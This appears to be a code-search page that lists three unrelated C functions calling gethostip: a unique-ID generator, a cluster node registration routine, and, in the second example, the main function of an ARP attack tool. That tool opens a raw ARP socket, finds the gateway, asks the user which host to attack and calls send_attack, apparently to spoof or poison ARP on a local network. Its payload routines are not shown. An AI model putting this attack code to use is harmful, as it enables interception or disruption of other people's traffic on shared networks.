Beispiel #1
0
ptr S_unique_id() {
    struct timeval tp;
    time_t sec;
    pid_t pid;
    INT ip;

    (void) gettimeofday(&tp,NULL);

    pid = getpid();
    ip = gethostip();
    sec = tp.tv_sec;

    return S_add(S_ash(Sunsigned(pid), Sinteger(8*(sizeof(sec)+sizeof(ip)))),
              S_add(S_ash(Sunsigned(ip), Sinteger(8*(sizeof(sec)))),
                    Sunsigned(sec)));
}
Beispiel #2
0
int main(int c, char **v)
{
    int sfd, ret, ifindex, i = 1;
    char ipsrc[16], ipdst[16], iptmp[16];
    char device[12], src_mac[ETH_ALEN];
    struct in_addr src, gatWay, traget;
    struct sockaddr_ll from;
    send_arping_t rbuf, gatWaybuf;
    setuid(0);
    sfd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ARP));
    if (sfd == -1){
        perror("socket:");
        return 1;
    }
    gethostip(sfd, device, &ifindex, ipsrc, sizeof(ipsrc));
    inet_pton(AF_INET, ipsrc, &src.s_addr);
    gethostmac(sfd, device, src_mac);

    init_sfd(sfd, ifindex);
    packed_for_ip(ipsrc, iptmp);
    sprintf(ipdst, "%s%d", iptmp, i);
    inet_pton(AF_INET, ipdst, &gatWay.s_addr);
    
    while (1){
        send_pack(sfd, src_mac, ifindex, &src, &gatWay);
        if (recv_pack(sfd, &gatWay, &gatWaybuf))
            continue;
        else 
            break;
    }

    while (1){
        printf("which one you want to attacked:    ");
        fflush(stdout);
        //printf("ipdst:%s    ipsrc:%s\n", ipdst, ipsrc);
        ret = read(0, iptmp, sizeof(iptmp));
        iptmp[ret - 1] = '\0';

        inet_pton(AF_INET, iptmp, &traget.s_addr);
	break;

    }

    send_attack(sfd, ifindex, &traget, &gatWaybuf);
    return 0;
}
Beispiel #3
0
void set_node(const char *name, const char *addr, int port) {
    static nodeid_t nid = 0;
    nid++;
    char *ip = gethostip(addr);
    set_nid_sender(nid, ip, port);
    set_gid_nid(1, nid);
    
    node_info_t ninfo;
    ninfo.nid = nid;
    ninfo.port = port;
    SAFE_ASSERT(strlen(name) + 1 < 100);
    SAFE_ASSERT(strlen(ip) + 1 < 100);
    strcpy(ninfo.name, name);
    strcpy(ninfo.ip, ip);
    mpr_hash_set(ht_node_info_, name, strlen(name) + 1, &ninfo, sizeof(node_info_t));
    
    *(nodeid_t *)apr_array_push(arr_nodes_) = nid;
    LOG_INFO("node added. name:%s, id:%" PRIu64", addr: %s, port: %d", 
        name, nid, addr, port);
    free(ip);
}